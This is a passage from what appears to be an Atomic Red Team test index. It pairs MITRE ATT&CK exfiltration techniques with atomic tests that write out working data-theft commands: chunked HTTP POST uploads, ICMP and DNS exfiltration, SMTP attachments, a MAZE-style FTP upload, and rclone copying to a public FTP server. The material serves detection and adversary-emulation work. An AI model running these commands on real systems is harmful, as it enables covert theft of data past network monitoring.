"PathToAtomicsFolder\..\ExternalPayloads\rclone.zip" Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\T1567.002" -recurse -force name: powershell elevation_required: false T1030: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd type: attack-pattern created: '2017-05-31T21:30:34.523Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1030 external_id: T1030 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2021-04-29T14:49:39.188Z' name: Data Transfer Size Limits description: An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)' x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Flow' x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1030 atomic_tests: - name: Data Transfer Size Limits auto_generated_guid: ab936c51-10f4-46ce-9144-e02137b2016a description: 'Take a file/directory, split it into 5Mb chunks ' supported_platforms: - macos - linux input_arguments: file_name: description: File name type: path default: T1030_urandom folder_path: description: Path where the test creates artifacts type: path default: "/tmp/T1030" dependency_executor_name: sh dependencies: - description: The file must exist for the test to run. prereq_command: 'if [ ! -f #{folder_path}/#{file_name} ]; then exit 1; else exit 0; fi; ' get_prereq_command: 'if [ ! -d #{folder_path} ]; then mkdir -p #{folder_path}; touch #{folder_path}/safe_to_delete; fi; dd if=/dev/urandom of=#{folder_path}/#{file_name} bs=25000000 count=1 ' executor: command: | cd #{folder_path}; split -b 5000000 #{file_name} ls -l #{folder_path} cleanup_command: 'if [ -f #{folder_path}/safe_to_delete ]; then rm -rf #{folder_path}; fi; ' name: sh - name: Network-Based Data Transfer in Small Chunks auto_generated_guid: f0287b58-f4bc-40f6-87eb-692e126e7f8f description: Simulate transferring data over a network in small chunks to evade detection. supported_platforms: - windows input_arguments: source_file_path: description: Path to the source file to transfer. type: path default: "[User specified]" destination_url: description: URL of the destination server. type: url default: http://example.com chunk_size: description: Size of each data chunk (in KB). type: integer default: 1024 executor: name: powershell elevation_required: false command: | $file = [System.IO.File]::OpenRead(#{source_file_path}) $chunkSize = #{chunk_size} * 1KB $buffer = New-Object Byte[] $chunkSize while ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) { $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead) Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk } $file.Close() T1537: technique: modified: '2024-04-11T15:53:00.577Z' name: Transfer Data to Cloud Account description: "Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.(Citation: TLDRSec AWS Attacks)\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.(Citation: Microsoft Azure Storage Shared Access Signature)\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_contributors: - Praetorian - Darin Smith, Cisco - ExtraHop - Gabriel Currie x_mitre_deprecated: false x_mitre_detection: "Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. \n\nIn AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a \"Get Snapshot SAS URL\" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature)" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - IaaS - SaaS - Google Workspace - Office 365 x_mitre_version: '1.4' x_mitre_data_sources: - 'Cloud Storage: Cloud Storage Modification' - 'Snapshot: Snapshot Creation' - 'Snapshot: Snapshot Modification' - 'Cloud Storage: Cloud Storage Metadata' - 'Snapshot: Snapshot Metadata' - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Content' - 'Cloud Storage: Cloud Storage Creation' type: attack-pattern id: attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6 created: '2019-08-30T13:03:04.038Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1537 external_id: T1537 - source_name: AWS EBS Snapshot Sharing description: Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022. url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html - source_name: TLDRSec AWS Attacks description: Clint Gibler and Scott Piper. (2021, January 4). Lesser Known Techniques for Attacking AWS Environments. Retrieved March 4, 2024. url: https://tldrsec.com/p/blog-lesser-known-aws-attacks - source_name: Azure Shared Access Signature description: Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022. url: https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature - source_name: Azure Blob Snapshots description: Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022. url: https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview - source_name: Microsoft Azure Storage Shared Access Signature description: Microsoft. (2023, June 7). Grant limited access to Azure Storage resources using shared access signatures (SAS). Retrieved March 4, 2024. url: https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview - source_name: DOJ GRU Indictment Jul 2018 description: Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. url: https://www.justice.gov/file/1080281/download object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1052: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - William Cain object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549 type: attack-pattern created: '2017-05-31T21:30:46.461Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1052 external_id: T1052 modified: '2022-04-25T14:00:00.188Z' name: Exfiltration Over Physical Medium description: Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_detection: Monitor file access on removable media. Detect processes that execute when removable media are mounted. x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Access' - 'Drive: Drive Creation' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_system_requirements: - Presence of physical medium or device x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1048.003: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol' description: "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_contributors: - William Cain - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) \n\nFor network infrastructure devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate configuration files to non-standard destinations over unencrypted protocols such as TFTP." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '2.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'File: File Access' - 'Network Traffic: Network Traffic Content' - 'Command: Command Execution' - 'Network Traffic: Network Connection Creation' x_mitre_network_requirements: false type: attack-pattern id: attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b created: '2020-03-15T15:37:47.583Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1048/003 external_id: T1048.003 - source_name: copy_cmd_cisco description: Cisco. (2022, August 16). copy - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/C_commands.html#wp1068167689 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1048.003 atomic_tests: - name: Exfiltration Over Alternative Protocol - HTTP auto_generated_guid: 1d1abbd6-a3d3-4b2e-bef5-c59293f46eff description: | A firewall rule (ipfw,pf,iptables or firewalld) will be needed to allow exfiltration on port 1337. Upon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded. supported_platforms: - macos - linux executor: steps: | 1. Victim System Configuration: mkdir /tmp/victim-staging-area echo "this file will be exfiltrated" > /tmp/victim-staging-area/victim-file.txt 2. Using Python to establish a one-line HTTP server on victim system: cd /tmp/victim-staging-area python -m SimpleHTTPServer 1337 3. To retrieve the data from an adversary system: wget http://VICTIM_IP:1337/victim-file.txt name: manual - name: Exfiltration Over Alternative Protocol - ICMP auto_generated_guid: dd4b4421-2e25-4593-90ae-7021947ad12e description: | Exfiltration of specified file over ICMP protocol. Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout. supported_platforms: - windows input_arguments: input_file: description: Path to file to be exfiltrated. type: path default: C:\Windows\System32\notepad.exe ip_address: description: Destination IP address where the data should be sent. type: string default: 127.0.0.1 executor: command: '$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) } ' name: powershell - name: Exfiltration Over Alternative Protocol - DNS auto_generated_guid: c403b5a4-b5fc-49f2-b181-d1c80d27db45 description: 'Exfiltration of specified file over DNS protocol. ' supported_platforms: - linux executor: steps: | 1. On the adversary machine run the below command. tshark -f "udp port 53" -Y "dns.qry.type == 1 and dns.flags.response == 0 and dns.qry.name matches \\".domain\\"" >> received_data.txt 2. On the victim machine run the below commands. xxd -p input_file > encoded_data.hex | for data in `cat encoded_data.hex`; do dig $data.domain; done 3. Once the data is received, use the below command to recover the data. cat output_file | cut -d "A" -f 2 | cut -d " " -f 2 | cut -d "." -f 1 | sort | uniq | xxd -p -r name: manual - name: Exfiltration Over Alternative Protocol - HTTP auto_generated_guid: 6aa58451-1121-4490-a8e9-1dada3f1c68c description: | Exfiltration of specified file over HTTP. Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout. supported_platforms: - windows executor: command: | $content = Get-Content #{input_file} Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content name: powershell input_arguments: input_file: description: Path to file to exfiltrate type: path default: C:\Windows\System32\notepad.exe ip_address: description: Destination IP address where the data should be sent type: string default: http://127.0.0.1 - name: Exfiltration Over Alternative Protocol - SMTP auto_generated_guid: ec3a835e-adca-4c7c-88d2-853b69c11bb9 description: | Exfiltration of specified file over SMTP. Upon successful execution, powershell will send an email with attached file to exfiltrate to a remote address. Results will be via stdout. supported_platforms: - windows executor: command: 'Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server} ' name: powershell input_arguments: input_file: description: Path to file to exfiltrate type: path default: C:\Windows\System32\notepad.exe sender: description: The email address of the sender type: string default: test@corp.com receiver: description: The email address of the receiver type: string default: test@corp.com smtp_server: description: SMTP server to use for email transportation type: string default: 127.0.0.1 - name: MAZE FTP Upload auto_generated_guid: 57799bc2-ad1e-4130-a793-fb0c385130ba description: "This test simulates MAZE's ransomware's ability to exfiltrate data via FTP.\nUpon successful execution, all 7z files within the %windir%\\temp directory will be uploaded to a remote FTP server. \nReference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents\n" supported_platforms: - windows input_arguments: ftp_server: description: FTP Server address type: string default: 127.0.0.1 username: description: Username for FTP server login type: string default: password: description: Password for FTP server login type: string default: executor: command: | $Dir_to_copy = "$env:windir\temp" $ftp = "ftp://#{ftp_server}/" $web_client = New-Object System.Net.WebClient $web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}') if (test-connection -count 1 -computername "#{ftp_server}" -quiet) {foreach($file in (dir $Dir_to_copy "*.7z")) {echo "Uploading $file..." $uri = New-Object System.Uri($ftp+$file.name) $web_client.UploadFile($uri, $file.FullName)}} else {echo "FTP Server Unreachable. Please verify the server address in input args and try again."} cleanup_command: | $ftp = "ftp://#{ftp_server}/" try {foreach ($file in (dir "$env:windir\temp" "*.7z")) {$uri = New-Object System.Uri($ftp+$file.name) $ftp_del = [System.Net.FtpWebRequest]::create($uri) $ftp_del.Credentials = New-Object System.Net.NetworkCredential('#{username}','#{password}') $ftp_del.Method = [System.Net.WebRequestMethods+Ftp]::DeleteFile $ftp_del.GetResponse()}} catch{} name: powershell - name: Exfiltration Over Alternative Protocol - FTP - Rclone auto_generated_guid: b854eb97-bf9b-45ab-a1b5-b94e4880c56b description: |- Rclone may be used by an adversary to exfiltrate data to a publicly hosted FTP server. [Reference](https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/) supported_platforms: - windows input_arguments: ftp_server: description: Your own ftp server type: string default: ftp.dlptest.com ftp_pass: description: Your FTP user's password type: string default: rNrKYTX9g7z3RgJRmxWuGHbeu ftp_user: description: Your FTP username type: string default: dlpuser ftp_port: description: Your FTP's port type: integer default: 21 dependency_executor_name: powershell dependencies: - description: 'Check if the exfil package exists ' prereq_command: 'if (Test-Path C:\Users\Public\Downloads\exfil.zip) {exit 0} else {exit 1} ' get_prereq_command: 'fsutil file createnew C:\Users\Public\Downloads\exfil.zip 20485760 ' - description: Check if rclone zip exists prereq_command: 'if (Test-Path C:\Users\Public\Downloads\rclone-current-windows-amd64.zip) {exit 0} else {exit 1} ' get_prereq_command: | Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "C:\Users\Public\Downloads\rclone-current-windows-amd64.zip" Expand-Archive C:\Users\Public\Downloads\rclone-current-windows-amd64.zip -DestinationPath C:\Users\Public\Downloads\ executor: command: |- $rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "rclone.exe" | Select-Object -ExpandProperty FullName $exfil_pack = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "exfil.zip" | Select-Object -ExpandProperty FullName &$rclone_bin config create ftpserver "ftp" "host" #{ftp_server} "port" #{ftp_port} "user" #{ftp_user} "pass" #{ftp_pass} &$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate name: powershell elevation_required: true - name: Python3 http.server auto_generated_guid: 3ea1f938-f80a-4305-9aa8-431bc4867313 description: 'An adversary may use the python3 standard library module http.server to exfiltrate data. This test checks if python3 is available and if so, creates a HTTP server on port 9090, captures the PID, sleeps for 10 seconds, then kills the PID and unsets the $PID variable. ' supported_platforms: - linux executor: name: sh elevation_required: false command: | [ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9 if [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi